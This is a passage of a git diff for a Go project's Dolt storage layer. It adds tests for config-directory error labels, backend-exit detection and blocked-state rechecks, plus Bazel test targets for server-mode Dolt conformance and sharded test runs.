wantLabel := "native user config directory (" + wantSource + ")" + if wantSource == "XDG_CONFIG_HOME" { + // Go rejects relative XDG roots before returning a directory; + // preserve its source-bearing error under the generic label. + wantLabel = "native user config directory: " + } + if !strings.Contains(err.Error(), wantLabel) || !strings.Contains(err.Error(), wantSource) { + t.Errorf("native config error %q does not identify %s", err, wantSource) + } + }) + } +} + +func TestUserConfigYamlCandidatesOwnNativeDiagnostics(t *testing.T) { + wantSource := "HOME" + if runtime.GOOS == "windows" { + wantSource = "APPDATA" + } else if runtime.GOOS == "plan9" { + wantSource = "home" + } + t.Run("validation identifies its source", func(t *testing.T) { + candidates := buildUserConfigYamlCandidates(t.TempDir(), nil, "relative-native", nil) + want := "native user config directory (" + wantSource + ")" + if candidates.nativeErr == nil || !strings.Contains(candidates.nativeErr.Error(), want) { + t.Fatalf("builder native error = %v, want label %q", candidates.nativeErr, want) + } + }) + t.Run("resolver diagnostic and identity are preserved", func(t *testing.T) { + resolverErr := errors.New("XDG_CONFIG_HOME resolver diagnostic") + candidates := buildUserConfigYamlCandidates(t.TempDir(), nil, "", resolverErr) + if !errors.Is(candidates.nativeErr, resolverErr) { + t.Fatalf("builder native error = %v, want original resolver error", candidates.nativeErr) + } + if got, want := candidates.nativeErr.Error(), "native user config directory: "+resolverErr.Error(); got != want { + t.Fatalf("builder native error = %q, want %q", got, want) + } + }) +} + func TestSelectUserConfigYamlPathPrecedence(t *testing.T) { t.Run("existing documented path wins", func(t *testing.T) { home, native := userConfigTestRoots(t) diff --git a/internal/configfile/configfile_test.go b/internal/configfile/configfile_test.go index 93c3c8b36..2658a5481 100644 --- a/internal/configfile/configfile_test.go +++ b/internal/configfile/configfile_test.go @@ -1157,6 +1157,7 @@ func TestEnvVarOverrides(t *testing.T) { }) t.Run("database default", func(t *testing.T) { + t.Setenv("BEADS_DOLT_SERVER_DATABASE", "") cfg := &Config{} if got := cfg.GetDoltDatabase(); got != DefaultDoltDatabase { t.Errorf("GetDoltDatabase() = %q, want %q", got, DefaultDoltDatabase) @@ -1164,6 +1165,7 @@ func TestEnvVarOverrides(t *testing.T) { }) t.Run("database config value", func(t *testing.T) { + t.Setenv("BEADS_DOLT_SERVER_DATABASE", "") cfg := &Config{DoltDatabase: "mydb"} if got := cfg.GetDoltDatabase(); got != "mydb" { t.Errorf("GetDoltDatabase() = %q, want mydb", got) diff --git a/internal/doltserver/BUILD.bazel b/internal/doltserver/BUILD.bazel index 70e9302ab..b53e11917 100644 --- a/internal/doltserver/BUILD.bazel +++ b/internal/doltserver/BUILD.bazel @@ -50,23 +50,29 @@ go_test( name = "doltserver_test", srcs = [ "configport_test.go", + "dirty_state_test.go", "doltserver_test.go", "doltserver_unix_test.go", "doltserver_windows_test.go", + "fdleak_integration_test.go", "gc_config_test.go", + "lifecycle_integration_test.go", "logrotate_test.go", "managed_server_proof_test.go", "manifest_recovery_test.go", "physical_root_test.go", + "port_race_test.go", "portsource_invariant_test.go", "portsources_test.go", "probe_test.go", "procattr_linux_test.go", + "socket_integration_test.go", "sweep_darwin_test.go", "sweep_reap_unix_test.go", "sweep_suite_linux_test.go", "sweep_suite_test.go", "sweep_test.go", + "testmain_integration_test.go", ], embed = [":doltserver"], deps = [ @@ -75,6 +81,98 @@ go_test( "//internal/githooksenv", "@com_github_dolthub_dolt_go//libraries/doltcore/servercfg", ] + select({ + "@rules_go//go/platform:aix": [ + "//internal/storage/doltutil", + "//internal/testutil", + "//internal/testutil/integration", + "@com_github_go_sql_driver_mysql//:mysql", + ], + "@rules_go//go/platform:android": [ + "//internal/storage/doltutil", + "//internal/testutil", + "//internal/testutil/integration", + "@com_github_go_sql_driver_mysql//:mysql", + "@org_golang_x_sys//unix", + ], + "@rules_go//go/platform:darwin": [ + "//internal/storage/doltutil", + "//internal/testutil", + "//internal/testutil/integration", + "@com_github_go_sql_driver_mysql//:mysql", + ], + "@rules_go//go/platform:dragonfly": [ + "//internal/storage/doltutil", + "//internal/testutil", + "//internal/testutil/integration", + "@com_github_go_sql_driver_mysql//:mysql", + ], + "@rules_go//go/platform:freebsd": [ + "//internal/storage/doltutil", + "//internal/testutil", + "//internal/testutil/integration", + "@com_github_go_sql_driver_mysql//:mysql", + ], + "@rules_go//go/platform:illumos": [ + "//internal/storage/doltutil", + "//internal/testutil", + "//internal/testutil/integration", + "@com_github_go_sql_driver_mysql//:mysql", + ], + "@rules_go//go/platform:ios": [ + "//internal/storage/doltutil", + "//internal/testutil", + "//internal/testutil/integration", + "@com_github_go_sql_driver_mysql//:mysql", + ], + "@rules_go//go/platform:js": [ + "//internal/storage/doltutil", + "//internal/testutil", + "//internal/testutil/integration", + "@com_github_go_sql_driver_mysql//:mysql", + ], + "@rules_go//go/platform:linux": [ + "//internal/storage/doltutil", + "//internal/testutil", + "//internal/testutil/integration", + "@com_github_go_sql_driver_mysql//:mysql", + "@org_golang_x_sys//unix", + ], + "@rules_go//go/platform:netbsd": [ + "//internal/storage/doltutil", + "//internal/testutil", + "//internal/testutil/integration", + "@com_github_go_sql_driver_mysql//:mysql", + ], + "@rules_go//go/platform:openbsd": [ + "//internal/storage/doltutil", + "//internal/testutil", + "//internal/testutil/integration", + "@com_github_go_sql_driver_mysql//:mysql", + ], + "@rules_go//go/platform:osx": [ + "//internal/storage/doltutil", + "//internal/testutil", + "//internal/testutil/integration", + "@com_github_go_sql_driver_mysql//:mysql", + ], + "@rules_go//go/platform:plan9": [ + "//internal/storage/doltutil", + "//internal/testutil", + "//internal/testutil/integration", + "@com_github_go_sql_driver_mysql//:mysql", + ], + "@rules_go//go/platform:qnx": [ + "//internal/storage/doltutil", + "//internal/testutil", + "//internal/testutil/integration", + "@com_github_go_sql_driver_mysql//:mysql", + ], + "@rules_go//go/platform:solaris": [ + "//internal/storage/doltutil", + "//internal/testutil", + "//internal/testutil/integration", + "@com_github_go_sql_driver_mysql//:mysql", + ], "@rules_go//go/platform:windows": [ "@org_golang_x_sys//windows", ], diff --git a/internal/molecules/testmain_test.go b/internal/molecules/testmain_test.go index 4b4bdf56d..c2ea60d24 100644 --- a/internal/molecules/testmain_test.go +++ b/internal/molecules/testmain_test.go @@ -29,7 +29,9 @@ func testMainInner(m *testing.M) int { // AD-01 (be-c5p): allow molecules tests to connect to the test container. os.Setenv("BEADS_TEST_SERVER", "1") if err := testutil.EnsureDoltContainerForTestMain(); err != nil { - fmt.Fprintf(os.Stderr, "WARN: %v, skipping Dolt tests\n", err) + if testutil.DoltUnavailableForTestMain(err) { + return 1 + } } else { defer testutil.TerminateDoltContainer() testServerPort = testutil.DoltContainerPortInt() diff --git a/internal/storage/BUILD.bazel b/internal/storage/BUILD.bazel index ad5df66e8..24fb1f99b 100644 --- a/internal/storage/BUILD.bazel +++ b/internal/storage/BUILD.bazel @@ -160,6 +160,7 @@ filegroup( "//internal/storage/rowid:go_srcs", "//internal/storage/schema:go_srcs", "//internal/storage/sqlbuild:go_srcs", + "//internal/storage/sqlclass:go_srcs", "//internal/storage/storagecontract:go_srcs", "//internal/storage/uow:go_srcs", "//internal/storage/versioncontrolops:go_srcs", diff --git a/internal/storage/dbproxy/server/BUILD.bazel b/internal/storage/dbproxy/server/BUILD.bazel index d91c09a29..4b5c883ef 100644 --- a/internal/storage/dbproxy/server/BUILD.bazel +++ b/internal/storage/dbproxy/server/BUILD.bazel @@ -29,6 +29,7 @@ go_library( go_test( name = "server_test", srcs = [ + "doltserver_exit_unix_test.go", "doltserver_test.go", "external_dolt_server_test.go", "testmain_test.go", diff --git a/internal/storage/dbproxy/server/doltserver.go b/internal/storage/dbproxy/server/doltserver.go index 52ea71a23..0cd1a8a4b 100644 --- a/internal/storage/dbproxy/server/doltserver.go +++ b/internal/storage/dbproxy/server/doltserver.go @@ -36,6 +36,13 @@ const ( LockFileName = "proxy-child.lock" ) +// errBackendExited is the result of the supervising goroutine when the dolt +// sql-server exits on its own with status 0 (for example dolt's graceful +// shutdown on SIGTERM). errgroup cancels egCtx only for a non-nil result, and +// Running reads egCtx, so without it a cleanly exited backend would be +// reported as running forever. +var errBackendExited = errors.New("dolt sql-server exited") + const ( startReadyTimeout = 30 * time.Second startReadyPollInterval = 50 * time.Millisecond @@ -303,7 +310,10 @@ func (s *DoltServer) Start(ctx context.Context) error { eg.Go(func() error { defer lock.Unlock() - return cmd.Wait() + if err := cmd.Wait(); err != nil { + return err + } + return errBackendExited }) if err := s.waitReady(ctx); err != nil { @@ -358,7 +368,7 @@ func (s *DoltServer) Stop(ctx context.Context) error { if s.eg != nil { waitErr = s.eg.Wait() var exitErr *exec.ExitError - if errors.As(waitErr, &exitErr) || errors.Is(waitErr, context.Canceled) { + if errors.As(waitErr, &exitErr) || errors.Is(waitErr, context.Canceled) || errors.Is(waitErr, errBackendExited) { waitErr = nil } } diff --git a/internal/storage/dbproxy/server/doltserver_exit_unix_test.go b/internal/storage/dbproxy/server/doltserver_exit_unix_test.go new file mode 100644 index 000000000..0dcc84fc9 --- /dev/null +++ b/internal/storage/dbproxy/server/doltserver_exit_unix_test.go @@ -0,0 +1,64 @@ +//go:build unix + +package server_test + +import ( + "context" + "syscall" + "testing" + "time" + + "github.com/steveyegge/beads/internal/storage/dbproxy/pidfile" + "github.com/steveyegge/beads/internal/storage/dbproxy/server" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" +) + +// backendExitNoticeTimeout bounds how long Running may keep reporting a +// backend that has left the process table. dolt's own graceful shutdown on +// SIGTERM dominates this; the detection itself is immediate. +const ( + backendExitNoticeTimeout = 30 * time.Second + backendExitNoticePoll = 50 * time.Millisecond +) + +// TestDoltServer_RunningFalseAfterBackendExits verifies Running observes the +// dolt sql-server leaving on its own, whatever its exit status. A SIGTERM'd +// dolt shuts down gracefully and exits 0; before the fix only a non-zero exit +// flipped Running, so the proxy's backend health watcher never fired and the +// proxy stayed up (and adoptable) in front of a dead backend. +func TestDoltServer_RunningFalseAfterBackendExits(t *testing.T) { + for _, tc := range []struct { + name string + sig syscall.Signal + }{ + {name: "clean exit on SIGTERM", sig: syscall.SIGTERM}, + {name: "killed", sig: syscall.SIGKILL}, + } { + t.Run(tc.name, func(t *testing.T) { + s, rootDir := newDoltServer(t) + ctx := context.Background() + require.NoError(t, s.Start(ctx)) + require.True(t, s.Running(ctx)) + + pf, err := pidfile.Read(rootDir, server.PIDFileName) + require.NoError(t, err) + require.NotNil(t, pf) + require.NoError(t, syscall.Kill(pf.Pid, tc.sig)) + + deadline := time.Now().Add(backendExitNoticeTimeout) + for s.Running(ctx) && time.Now().Before(deadline) { + time.Sleep(backendExitNoticePoll) + } + require.False(t, s.Running(ctx), "Running still true %s after the dolt sql-server (pid %d) got %s", backendExitNoticeTimeout, pf.Pid, tc.sig) + + // A backend that exited on its own is not a Stop failure. + stopCtx, cancel := context.WithTimeout(ctx, stopTimeout) + defer cancel() + require.NoError(t, s.Stop(stopCtx)) + left, err := pidfile.Read(rootDir, server.PIDFileName) + require.NoError(t, err) + assert.Nil(t, left, "Stop must remove the backend pid record") + }) + } +} diff --git a/internal/storage/dbproxy/server/doltserver_test.go b/internal/storage/dbproxy/server/doltserver_test.go index 15b598be8..399d21a14 100644 --- a/internal/storage/dbproxy/server/doltserver_test.go +++ b/internal/storage/dbproxy/server/doltserver_test.go @@ -341,9 +341,18 @@ func TestDoltServer_StartStop_UnixSocket(t *testing.T) { t.Setenv("HOME", t.TempDir()) rootDir := t.TempDir() - sock := filepath.Join(t.TempDir(), "s.sock") + // Not t.TempDir(): it nests the test's name, which alone takes the socket + // path past the limit below under any TMPDIR longer than /tmp's (the Bazel + // test wrapper's per-process one, macOS's /var/folders/...), and the test + // would silently skip there. + sockDir, err := os.MkdirTemp("", "sock") + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = os.RemoveAll(sockDir) }) + sock := filepath.Join(sockDir, "s.sock") // Linux sun_path is 108 bytes including the NUL terminator; macOS is 104. - // Skip on systems where t.TempDir() pushes us past the limit rather than + // Skip on systems where TMPDIR pushes us past the limit rather than // surface a confusing bind() error. if len(sock) >= 104 { t.Skipf("socket path too long (%d bytes): %s", len(sock), sock) diff --git a/internal/storage/dolt/BUILD.bazel b/internal/storage/dolt/BUILD.bazel index 5bf6acf98..6c7bd6b38 100644 --- a/internal/storage/dolt/BUILD.bazel +++ b/internal/storage/dolt/BUILD.bazel @@ -1,4 +1,6 @@ load("@rules_go//go:def.bzl", "go_library", "go_test") +load("@rules_shell//shell:sh_test.bzl", "sh_test") +load("//tools/bazel:race.bzl", "go_test_race_off") go_library( name = "dolt", @@ -6,6 +8,7 @@ go_library( "batch_applier.go", "batch_closer.go", "batch_creator.go", + "blocked_recheck_raw.go", "blockingannotator.go", "bootstrap.go", "bootstrapper.go", @@ -116,6 +119,13 @@ go_library( ], ) +# TestMultiProcessSchemaInit* and TestMultiStoreConcurrent_Subprocess build +# this package with a real `go test -c` (integration.SubprocessRunner), which +# needs the module's source tree and a module cache no action has. They run +# only against a server: skipped under --config=integration +# (BEADS_TEST_SKIP=dolt, like main.yml's integration jobs), and run by +# dolt_server_full_test, which hands SubprocessRunner its own test binary +# (BEADS_TEST_SUBPROCESS_BINARY) instead. go_test( name = "dolt_test", srcs = [ @@ -128,6 +138,9 @@ go_test( "blocked_consistency_test.go", "blocked_full_repair_test.go", "blocked_merge_test.go", + "blocked_recheck_phase_test.go", + "blocked_recheck_publication_test.go", + "blocked_recheck_raw_test.go", "blocked_recompute_guard_test.go", "blocking_annotator_contract_test.go", "bootstrap_test.go", @@ -161,6 +174,7 @@ go_test( "counts_wisp_test.go", "create_guard_test.go", "create_issue_commit_test.go", + "create_rollback_test.go", "credentials_test.go", "cross_project_test.go", "cross_record_invariant_contract_test.go", @@ -199,21 +213,29 @@ go_test( "events_test.go", "expected_revision_contract_test.go", "federation_pull_settle_test.go", + "federation_test.go", "field_length_test.go", "filters_test.go", "fk_cascade_merge_test.go", + "fresh_bootstrap_heal_integration_test.go", "fsck_test.go", "gateway_credential_test.go", "gateway_session_test.go", "generated_dependency_target_repro_test.go", + "git_remote_shared_server_test.go", + "git_remote_test.go", "graph_counter_contract_test.go", "history_presence_contract_test.go", "history_test.go", "identity_mismatch_message_test.go", "indeterminate_commit_test.go", + "initschema_0067_versioned_beads_replay_test.go", + "initschema_0069_datetime_precision_replay_test.go", "initschema_concurrent_test.go", "initschema_fresh_bootstrap_heal_test.go", "initschema_gate_test.go", + "initschema_idempotent_test.go", + "initschema_multiprocess_test.go", "initschema_pool_poison_test.go", "is_blocked_batch_test.go", "is_blocked_filter_test.go", @@ -236,6 +258,7 @@ go_test( "labels_test.go", "lease_migration_test.go", "lease_test.go", + "lenient_open_dirty_tables_integration_test.go", "lifecycle_close_reopen_contract_test.go", "lifecycle_create_contract_test.go", "lifecycle_role_hooks_test.go", @@ -248,12 +271,15 @@ go_test( "metadata_schema_test.go", "metadata_validation_test.go", "mixed_table_lifecycle_test.go", + "multistore_multiprocess_test.go", "open_test.go", "port_provenance_test.go", "portsource_propagation_test.go", + "post_migration_pool_heal_integration_test.go", "pr4107_corruption_test.go", "prune_remote_refs_test.go", "public_write_circuit_test.go", + "pull_branch_tracking_integration_test.go", "pull_branch_tracking_test.go", "pull_config_wedge_test.go", "pull_conflict_test.go", @@ -279,7 +305,9 @@ go_test( "role_fixture_kit_test.go", "role_test_helpers_test.go", "row_version_test.go", + "schema_cli_parity_integration_test.go", "schema_cli_parity_test.go", + "schema_init_timeout_test.go", "schema_migration_dirty_test.go", "schema_migrations_conflict_test.go", "schema_parity_test.go", @@ -315,8 +343,11 @@ go_test( "version_commit_deferred_test.go", "version_reconciler_contract_test.go", "version_scope_completeness_test.go", + "version_staging_completeness_test.go", "versioned_test.go", "wisp_custom_type_tx_test.go", + "wisp_delete_cascade_integration_test.go", + "wisp_delete_cascade_tx_integration_test.go", "wisp_gc_test.go", "wisp_infra_dep_test.go", "wisp_partition_test.go", @@ -328,10 +359,12 @@ go_test( "workspace_config_contract_test.go", ], # Source-scan guards (journal/version scope completeness, helper sentinel - # census) parse this package and ../issueops at test time. + # census) parse this package and ../issueops at test time; the PR4107 and + # migration replay tests (server-backed) read ../schema/migrations. data = [ ":go_srcs", "//internal/storage/issueops:go_srcs", + "//internal/storage/schema:migrations", ], embed = [":dolt"], deps = [ @@ -360,17 +393,170 @@ go_test( "@com_github_data_dog_go_sqlmock//:go-sqlmock", "@com_github_go_sql_driver_mysql//:mysql", "@com_github_google_uuid//:uuid", + "@com_github_stretchr_testify//require", ] + select({ + "@rules_go//go/platform:aix": [ + "//internal/testutil/integration", + "@org_golang_x_sync//errgroup", + ], "@rules_go//go/platform:android": [ "//internal/testutil/bazeltest", + "//internal/testutil/integration", + "@org_golang_x_sync//errgroup", + ], + "@rules_go//go/platform:darwin": [ + "//internal/testutil/integration", + "@org_golang_x_sync//errgroup", + ], + "@rules_go//go/platform:dragonfly": [ + "//internal/testutil/integration", + "@org_golang_x_sync//errgroup", + ], + "@rules_go//go/platform:freebsd": [ + "//internal/testutil/integration", + "@org_golang_x_sync//errgroup", + ], + "@rules_go//go/platform:illumos": [ + "//internal/testutil/integration", + "@org_golang_x_sync//errgroup", + ], + "@rules_go//go/platform:ios": [ + "//internal/testutil/integration", + "@org_golang_x_sync//errgroup", + ], + "@rules_go//go/platform:js": [ + "//internal/testutil/integration", + "@org_golang_x_sync//errgroup", ], "@rules_go//go/platform:linux": [ "//internal/testutil/bazeltest", + "//internal/testutil/integration", + "@org_golang_x_sync//errgroup", + ], + "@rules_go//go/platform:netbsd": [ + "//internal/testutil/integration", + "@org_golang_x_sync//errgroup", + ], + "@rules_go//go/platform:openbsd": [ + "//internal/testutil/integration", + "@org_golang_x_sync//errgroup", + ], + "@rules_go//go/platform:osx": [ + "//internal/testutil/integration", + "@org_golang_x_sync//errgroup", + ], + "@rules_go//go/platform:plan9": [ + "//internal/testutil/integration", + "@org_golang_x_sync//errgroup", + ], + "@rules_go//go/platform:qnx": [ + "//internal/testutil/integration", + "@org_golang_x_sync//errgroup", + ], + "@rules_go//go/platform:solaris": [ + "//internal/testutil/integration", + "@org_golang_x_sync//errgroup", ], "//conditions:default": [], }), ) +# dolt_test without the race detector: PR Risk's server-Dolt jobs run +# build-embedded's /tmp/dolt-conformance-test, built by `go test -c` with the +# integration and gms_pure_go tags but without -race. tools/bazel/race.bzl lands +# its deps in the configuration the non-race //cmd/bd:bd_for_tests is built +# in; under --config=doltserver-integration (the integration lane's build +# flags) that is the configuration --config=integration builds bd_for_tests +# in, so the server tier compiles no third copy of the graph. +# +# Tags: +# manual: only the dolt_server_* variants' input, never a build target of +# its own. +go_test_race_off( + name = "dolt_race_off", + tags = ["manual"], + test = ":dolt_test", +) + +# PR Risk's "Test (Server Dolt Conformance)" job: conformance.RunAll against +# server-mode Dolt, with the job's binary flags. TestMain's server is a local +# `dolt sql-server` started from the pinned dolt in the test wrapper's +# runfiles instead of the job's container, and a server that cannot start +# fails the target (BEADS_TEST_REQUIRE_DOLT_CONTAINER=1) instead of skipping +# the suite. It repeats dolt_test's `env` (it has none). +# +# Tags: +# dolt-server-integration: starts hermetic dolt sql-servers and needs the +# integration build tag; excluded from --config=prcore/ci and +# --config=integration, selected by --config=doltserver-integration. +sh_test( + name = "dolt_server_conformance_test", + size = "large", + # The job's -test.timeout=15m fires (with a goroutine dump) well before + # Bazel's 1200s action limit (eternal under the lane's --test_timeout). + timeout = "eternal", + srcs = ["//tools/bazel:go_test_variant.sh"], + args = [ + "$(rootpath :dolt_race_off)", + "-test.v", + "-test.count=1", + "-test.timeout=15m", + "-test.run=^TestConformance$$", + ], + data = [":dolt_race_off"], + env = { + "BEADS_TEST_DOLT_SERVER": "local", + # The job's "Configure Git" global identity (tools/bazel/test_env.sh). + "BEADS_TEST_GIT_IDENTITY": "1", + "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", + # The 4-vCPU runner shape: -test.parallel defaults to GOMAXPROCS. + "GOMAXPROCS": "4", + }, + tags = ["dolt-server-integration"], +) + +# PR Risk's "Test (Server Dolt Full Suite N/16)" jobs: shard k runs +# .github/scripts/server-storage-test-shard.sh k+1 16 (every top-level test +# but TestConformance, assigned by the committed manifest) against +# dolt_race_off, with the jobs' BEADS_TEST_ENV_RUN_DOLT=1 and a local dolt +# sql-server as in dolt_server_conformance_test. SubprocessRunner's helper +# processes re-exec this same binary (BEADS_TEST_SUBPROCESS_BINARY) where the +# job compiles the package again with `go test -tags integration -c`; go.mod +# lets integration.ModuleRoot find the module root it no longer builds in. +# shard_count must stay equal to the manifest's shard total. +# +# Tags: +# dolt-server-integration: as dolt_server_conformance_test. +sh_test( + name = "dolt_server_full_test", + size = "large", + # The script's -test.timeout=15m fires before Bazel's 1200s limit. + timeout = "eternal", + srcs = ["//tools/bazel:go_test_manifest_shard.sh"], + args = [ + "$(rootpath //:.github/scripts/server-storage-test-shard.sh)", + "BEADS_TEST_SERVER_TEST_BINARY", + "$(rootpath :dolt_race_off)", + ], + data = [ + ":dolt_race_off", + ":go_srcs", + "//:.github/scripts/server-storage-test-shard.sh", + "//:.github/scripts/server-storage-test-shards.txt", + "//:go.mod", + ], + env = { + "BEADS_TEST_DOLT_SERVER": "local", + "BEADS_TEST_ENV_RUN_DOLT": "1", + "BEADS_TEST_GIT_IDENTITY": "1", + "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", + "BEADS_TEST_SUBPROCESS_BINARY": "$(rlocationpath :dolt_race_off)", + "GOMAXPROCS": "4", + }, + shard_count = 16, + tags = ["dolt-server-integration"], +) + # --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( diff --git a/internal/storage/dolt/blocked_recheck_phase_test.go b/internal/storage/dolt/blocked_recheck_phase_test.go new file mode 100644 index 000000000..337073804 --- /dev/null +++ b/internal/storage/dolt/blocked_recheck_phase_test.go @@ -0,0 +1,70 @@ +package dolt + +import ( + "context" + "errors" + "slices" + "testing" + + sqlmock "github.com/DATA-DOG/go-sqlmock" + mysql "github.com/go-sql-driver/mysql" + + "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/types" +) + +// scopeAndRecordDependent scopes both of tx's SQL transactions for the +// blocked recheck, as runDoltTransactionRecording does, and records one +// dependent on each, as a close on each plane would. +func scopeAndRecordDependent(t *testing.T, tx *doltTransaction) { + t.Helper() + t.Cleanup(issueops.ScopeBlockedRecheckTransaction(tx.regularTx)) + t.Cleanup(issueops.ScopeBlockedRecheckTransaction(tx.ignoredTx)) + issueops.NoteStatusChangeBlockedRecheck(tx.regularTx, "rp-a", string(types.StatusClosed), []string{"rp-c"}, nil) + issueops.NoteStatusChangeBlockedRecheck(tx.ignoredTx, "rp-wa", string(types.StatusClosed), nil, []string{"rp-wc"}) +} + +// TestFinishDoltTransactionRecordingKeepsRecheckWhenDoltCommitFails pins the +// RunInTransaction half of #6716 where the regular SQL commit lands and the +// Dolt commit after it fails. The rows are committed, the error is +// ErrCommitIndeterminate and the write is never replayed, so the recorded +// dependents must still reach the post-commit recheck. +func TestFinishDoltTransactionRecordingKeepsRecheckWhenDoltCommitFails(t *testing.T) { + store, conn, tx, regularMock, ignoredMock := newTransactionPhaseFixture(t) + scopeAndRecordDependent(t, tx) + tx.dirty.MarkDirty("issues") + regularMock.ExpectCommit() + regularMock.ExpectQuery("SELECT COUNT\\(\\*\\) FROM dolt_status s"). + WillReturnRows(sqlmock.NewRows([]string{"count"}).AddRow(1)) + regularMock.ExpectExec("CALL DOLT_ADD\\(\\?\\)").WithArgs("issues"). + WillReturnError(errors.New("invalid connection")) + ignoredMock.ExpectRollback() + + pending, err := store.finishDoltTransactionRecording(context.Background(), conn, tx, "test: dolt commit fails") + if !errors.Is(err, ErrCommitIndeterminate) { + t.Fatalf("error = %v, want ErrCommitIndeterminate", err) + } + if !slices.Equal(pending.IssueIDs, []string{"rp-c"}) || !slices.Equal(pending.WispIDs, []string{"rp-wc"}) { + t.Fatalf("pending = %+v, want the dependents recorded on both transactions", pending) + } + requireTransactionPhaseMocks(t, regularMock, ignoredMock) +} + +// TestFinishDoltTransactionRecordingDropsRecheckWhenSQLCommitRefused is the +// other side: a regular SQL commit the server refused rolled back, so there +// is nothing committed to recheck. +func TestFinishDoltTransactionRecordingDropsRecheckWhenSQLCommitRefused(t *testing.T) { + store, conn, tx, regularMock, ignoredMock := newTransactionPhaseFixture(t) + scopeAndRecordDependent(t, tx) + regularMock.ExpectCommit().WillReturnError(&mysql.MySQLError{Number: 1213, Message: "serialization failure"}) + ignoredMock.ExpectRollback() + + pending, err := store.finishDoltTransactionRecording(context.Background(), conn, tx, "test: sql commit refused") + if err == nil || errors.Is(err, ErrCommitIndeterminate) { + t.Fatalf("error = %v, want a determinate commit failure", err) + } + if !pending.Empty() { + t.Fatalf("pending = %+v, want nothing after a refused SQL commit", pending) + } + requireTransactionPhaseMocks(t, regularMock, ignoredMock) +} diff --git a/internal/storage/dolt/blocked_recheck_publication_test.go b/internal/storage/dolt/blocked_recheck_publication_test.go new file mode 100644 index 000000000..86676e212 --- /dev/null +++ b/internal/storage/dolt/blocked_recheck_publication_test.go @@ -0,0 +1,63 @@ +package dolt + +import ( + "testing" + + "github.com/steveyegge/beads/internal/storage/journalscan" +) + +// TestPostCommitRecheckPublishesOutsideItsTransaction is the structural guard +// for the recheck's publication ordering (the lost-update hazard +// doltAddAndCommitInTx documents, LatentLabsSpace/NEXUS#92). +// +// The hazard needs a writer that commits inside the recheck's OWN transaction +// window, and nothing in the store exposes that window to a test: the recheck +// body is not test-supplied, so the in-transaction ordering cannot be turned +// into a red assertion the way the runner tails can +// (close_recheck_blocked_test.go). Restoring it would therefore be invisible — +// every test in this package stays green either way — which is exactly the +// situation the journal- and version-scope completeness guards exist for, so +// the ordering gets the same kind of defense. +// +// Known limit, shared with those guards: the check is name-based over this +// package's syntax. It covers a publication call anywhere in the recheck's own +// body, including inside the transaction closure it passes to withRetryTx +// (journalscan walks nested function literals), but not one moved out into a +// named helper of its own. The liveness anchors below are what keep a rename +// from turning the whole guard into a tautology. +func TestPostCommitRecheckPublishesOutsideItsTransaction(t *testing.T) { + fns, err := journalscan.ParsePackage(".") + if err != nil { + t.Fatalf("parse dolt package: %v", err) + } + + const ( + inTx = "doltAddAndCommitInTx" + postTx = "doltAddAndCommitPostTx" + recheck = "DoltStore.recheckBlockedAfterCommit" + // Anchors: one function known to publish with each ordering. + knownInTxPublisher = "DoltStore.demoteToWispInTx" + knownPostTxPublisher = "DoltStore.runIssueOperationTxWithMessage" + ) + publishes := func(key, helper string) bool { + f := fns[key] + if f == nil { + t.Fatalf("%s is not in the parsed package — this guard is not measuring what it names", key) + } + return f.CallsAnyOf(map[string]bool{helper: true}) + } + + if !publishes(knownInTxPublisher, inTx) { + t.Fatalf("%s no longer reads as an in-transaction publisher: the %s analysis is broken, so its verdict on %s means nothing", knownInTxPublisher, inTx, recheck) + } + if !publishes(knownPostTxPublisher, postTx) { + t.Fatalf("%s no longer reads as a post-transaction publisher: the %s analysis is broken, so its verdict on %s means nothing", knownPostTxPublisher, postTx, recheck) + } + + if publishes(recheck, inTx) { + t.Fatalf("%s publishes with %s: DOLT_ADD stages the whole table from the transaction's BEGIN-time root, so a Dolt commit minted inside the recheck's own transaction writes every concurrently committed row back to its BEGIN-time value — and a recheck runs only when concurrent unblocking writes are racing. Publish with %s after the transaction commits instead.", recheck, inTx, postTx) + } + if !publishes(recheck, postTx) { + t.Fatalf("%s no longer publishes with %s: a corrected is_blocked flag that reaches no Dolt commit sits dirty in the working set until an unrelated write sweeps it in", recheck, postTx) + } +} diff --git a/internal/storage/dolt/blocked_recheck_raw.go b/internal/storage/dolt/blocked_recheck_raw.go new file mode 100644 index 000000000..cd9130ba9 --- /dev/null +++ b/internal/storage/dolt/blocked_recheck_raw.go @@ -0,0 +1,30 @@ +package dolt + +import ( + "context" + "database/sql" + + "github.com/steveyegge/beads/internal/storage/issueops" +) + +// settleBlockedRecheck runs the post-commit blocked-state recheck of what a +// committed write recorded (gastownhall/beads#6716) and logs a failure +// instead of returning it: the write is durable, and an error would read as +// "the write did not land" to every caller. +func (s *DoltStore) settleBlockedRecheck(ctx context.Context, pending issueops.BlockedRecheck) { + logBlockedRecheckFailure(ctx, pending, s.recheckBlockedAfterCommit(ctx, pending)) +} + +// commitSQLTxAndRecheck is commitSQLTx for a raw write transaction that was +// scoped with issueops.ScopeBlockedRecheckTransaction: once tx has committed +// it settles the dependents tx's unblocking writes recorded. The wisp writers +// and the legacy dependency removal run on raw transactions outside +// withWriteTx, so without this their writes would record into nothing and +// keep the #6716 race. +func (s *DoltStore) commitSQLTxAndRecheck(ctx context.Context, op string, tx *sql.Tx) error { + if err := s.commitSQLTx(ctx, op, tx); err != nil { + return err + } + s.settleBlockedRecheck(ctx, issueops.TakeBlockedRecheck(tx)) + return nil +} diff --git a/internal/storage/dolt/blocked_recheck_raw_test.go b/internal/storage/dolt/blocked_recheck_raw_test.go new file mode 100644 index 000000000..a7609d68f --- /dev/null +++ b/internal/storage/dolt/blocked_recheck_raw_test.go @@ -0,0 +1,143 @@ +package dolt + +import ( + "context" + "database/sql" + "fmt" + "slices" + "sync" + "testing" + + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/types" +) + +// seedBlockedDependent creates blockers a and b (wisps when wisp is set) and +// the permanent dependent c that both block. +func seedBlockedDependent(t *testing.T, ctx context.Context, store *DoltStore, a, b, c string, wisp bool) { + t.Helper() + for _, id := range []string{a, b} { + if wisp { + createWisp(t, ctx, store, id) + } else { + createPerm(t, ctx, store, id) + } + } + createPerm(t, ctx, store, c) + addDependency(t, ctx, store, c, a, 